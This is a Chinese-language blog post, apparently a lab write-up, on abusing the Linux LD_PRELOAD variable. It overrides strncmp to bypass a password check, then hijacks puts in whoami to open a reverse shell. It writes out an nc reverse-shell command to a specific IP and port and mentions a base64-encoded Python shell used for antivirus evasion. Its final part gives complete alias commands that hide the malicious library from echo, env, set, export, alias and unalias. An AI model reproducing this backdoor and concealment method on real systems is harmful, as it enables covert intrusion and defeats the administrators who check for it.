关于环境变量LD_PRELOAD的利用
LD_PRELOAD
LD_PRELOAD 是 Linux 系统的一个环境变量,它允许运行程序时优先强制加载指定的动态链接库,并且由于 全局符号介入机制 的影响,LD_PRELOAD 指定的动态链接库中的函数会覆盖之后其他动态链接库中的同名函数。对于调试程序或者向程序中注入自定义的代码都是很方便的,本文记录了如何通过 LD_PRELOAD 环境变量来 hook 程序,达到植入后门和调试的目的
全局符号介入
全局符号介入指的是程序调用动态库中的函数时,如果调用的函数在多个动态库中都存在,那么链接器只会保留第一个链接的动态库中的函数,忽略之后同名的函数,所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。
实验-DIY库函数
下面通过一个实验来体会用 LD_PRELOAD 替换 libc 中的库函数
这是 test 程序正常依赖的动态库
下面是使用 LD_PRELOAD 加载了一个动态库的状态,能够发现 test 程序依赖的动态库多了一个 hook.so

补充:也可以使用 export 设置环境变量,在当前 shell 会话及子进程中都是有效的,命令如下
export LD_PRELOAD=/home/zikh/Desktop/hook.so |
下面通过一个程序用 LD_PRELOAD 来 DIY 一下动态库里的 strncmp 函数,主程序代码如下,实现了一个类似于 shell 的场景,只有 su exit 两个功能 ,正常情况下只有输入正确的 password 才能通过检查,输出 ROOT!
//gcc test.c -o test -w |
再写一个 hook.c 文件,自定义了一个 strncmp 函数,用来判断两个字符串在 len 字节之前的部分是否一样,但它和动态库原本 strncmp 函数不同的地方在于可以被 \x00 截断
//gcc hook.c -o hook.so -shared -fPIC -w |
为了确保程序运行时确实调用的是自定义的 strncmp 函数,我选择重新加上 -g 参数,重新编译一下 hook.so ,执行 gdb --args env LD_PRELOAD=/home/zikh/Desktop/hook.so ./test 进行调试,执行到 strncmp 时可以看到确实是执行了我们自定义的函数(不知道为什么,这样无法像 b main 这样来通过符号下断点了)
下面是正常运行 test 程序和加载 hook.so 后再运行 test 的两种情况

这样来看的话,加载的 hook.so 中的 strncmp 函数也可以正常发挥,程序依然运行的没有任何问题
现编写如下的攻击脚本
from pwn import * |

在输入密码时,发送一个 \x00 就能截断自定义的 strncmp 函数,从而实现绕过对密码的检查
上面的实验 DIY 了库函数 strncmp ,并且故意写了一个有漏洞自定义函数,算是玩了一下。同理,Linux 下的有些命令本质上也是可执行程序且动态链接,以 whoami 命令为例,能看到它也是正常依赖的 libc 库

用 ltrace 命令来查看 whoami 调用了哪些函数,其中发现了 puts 函数被执行,所以我们可以通过劫持动态库中的 puts 函数,让其先执行我们自定义的代码,再去执行原本正常的 puts 函数,这样就可以做到神不知鬼不觉植入一个后门

植入后门
下面的代码就是先记录一下 puts 函数的 libc 地址,因为伴随着劫持 puts 函数,无法通过函数名直接来执行,必须借助函数指针来调用动态库原本的 puts 函数。在此之前执行一个反弹 shell ,这里之所以选择用 python 的原因是 nc 10.214.140.181 4444 -e /bin/bash 这样会阻塞住 shell
//gcc preload.c -o preload.so -ldl -shared -fPIC |
python 那部分 base64 解码的代码如下,之所以编码一下的原因可能是两个? 免杀? 方便?一行命令就完事?
import os,socket,subprocess; |
将自定义的动态库给编译出来(反弹的 IP 和 port 自行修改),执行命令 export LD_PRELOAD=/home/zikh/Desktop/preload.so 修改环境变量 LD_PRELOAD ,然后再次执行 whoami 命令,发现触发了后门,反弹了 shell 上来,并且靶机没有显示任何异常

隐藏痕迹
但是如果检查环境变量 LD_PRELOAD 是否有值,就可以捕捉到蛛丝马迹

有检查的手段,就有对抗检查的手段。隐藏痕迹的思路就是利用 alias 命令给能够查看环境变量的命令都定义一个别名,在输出环境变量时做一个过滤,如果检查到输出内容有自定义的动态库名称时就输出空格字符或者不输出之类的。
隐藏echo
使用 alias 命令将 echo 定义别名
alias echo='func(){ echo $* | sed "s!/home/zikh/Desktop/preload.so! !g";};func' |
首先查看环境变量 LD_PRELOAD 是没有值的,用 export 进行设置后,echo 就能看到 $LD_PRELOAD 的值了,接着用 alias 将 echo 定义别名,使得 echo 命令输出的字符串如果包含 /home/zikh/Desktop/preload.so 就给替换为空格,实验效果如下

原理如下
首先定义一个 func 函数,最后执行 func 函数中的内容
echo $* 会输出 echo 命令传进来的所有参数
sed 是一个非交互性文本流编辑器,s 参数表示替换,! 作为定界符(正常的分隔符是用 / ,但是避免路径中 / 的干扰,这里选择用 ! 作为定界符),g 表示全局替换。
以 sed "s/abc/efg/g" 为例,指的是把字符串 abc 替换为 efg ,验证如下

隐藏env
env 输出环境变量时,如果 LD_PRELOAD 的值并不存在,则不会输出关于这个变量的任何信息,如果给 LD_PRELOAD 设置值之后,就能查看到一行关于这个变量的信息(如下)

这里采用的思路是用 grep -v 来过滤掉
grep -v 指的是反转匹配
grep -v "i" 1.txt |
它将输出除了包含字符 i 这一行数据的所有内容,如下

因此使用如下命令,将 env 定义别名,将除去字符串 /home/zikh/Desktop/preload.so 的内容都输出
alias env='func(){ env $* | grep -v "/home/zikh/Desktop/preload.so";};func' |
观察下图能发现,最初 env 命令是成功输出了 LD_PRELOAD 环境变量的,但定义 env 别名后,再出执行 env 就已经看不到 LD_PRELOAD 环境变量了

隐藏set
隐藏 set 命令输出的环境变量和 env 同理
alias set='func(){ set $* | grep -v "/home/zikh/Desktop/preload.so";};func' |

隐藏export
export 命令的隐藏也是同理
alias export='func(){ export $* | grep -v "/home/zikh/Desktop/preload.so";};func' |

隐藏unalias
接下来是对 alias 和 unalias 命令进行处理
用 alias 可以查询到对 env 命令做了别名定义,对其使用 unalias 命令删除是可以成功的,如果没有别名的话,用 unalias 删除时应该是报错 no such hash table element: xxx(实验机器为 ubuntu18.04,不同版本的机器上这个错误信息可能不一样)

然后对 unalias 命令进行一下别名定义,希望在识别到参数为 env echo unalias export alias unalias 的时候都输出报错 no such hash table element: xxx ,这样就造成了一种这些命令并没有被别名的假象
shell 脚本如下,代码很容易理解,就是用了两个 if 语句确保 unalias 造成一种假象
alias unalias='func() { |
执行 alias 命令如下,对 unalias 定义别名
alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "unalias: no such hash table element: ${*}"; fi; else echo "unalias: not enough arguments"; fi }; func' |
隐藏alias
如果用 alias 命令查看哪些函数定义别名的话,依然是个破绽,因此最后对 alias 做一个别名,伪造的方法和隐藏 export set 的输出一样,将输出有动态库名称的命令都给过滤掉,并且要额外过滤一下 unalias (避免被看出来 unalias 命令做过手脚)
alias alias='func(){ alias "$@" | grep -v unalias | grep -v preload.so;};func' |
汇总上面的命令,编写 shell 脚本如下
export LD_PRELOAD=/home/zikh/Desktop/preload.so |
将其执行后,调用 whoami 可以看到下图中已经触发了后门,并且用各种方法检查环境变量 LD_PRELOAD 发现一切正常,如下图

参考文章:
https://cloud.tencent.com/developer/article/1683272
https://blog.csdn.net/Rong_Toa/article/details/108474167
https://www.baeldung.com/linux/ld_preload-trick-what-is
https://www.yuque.com/cyberangel/rg9gdm/gg3r9m#MDRY6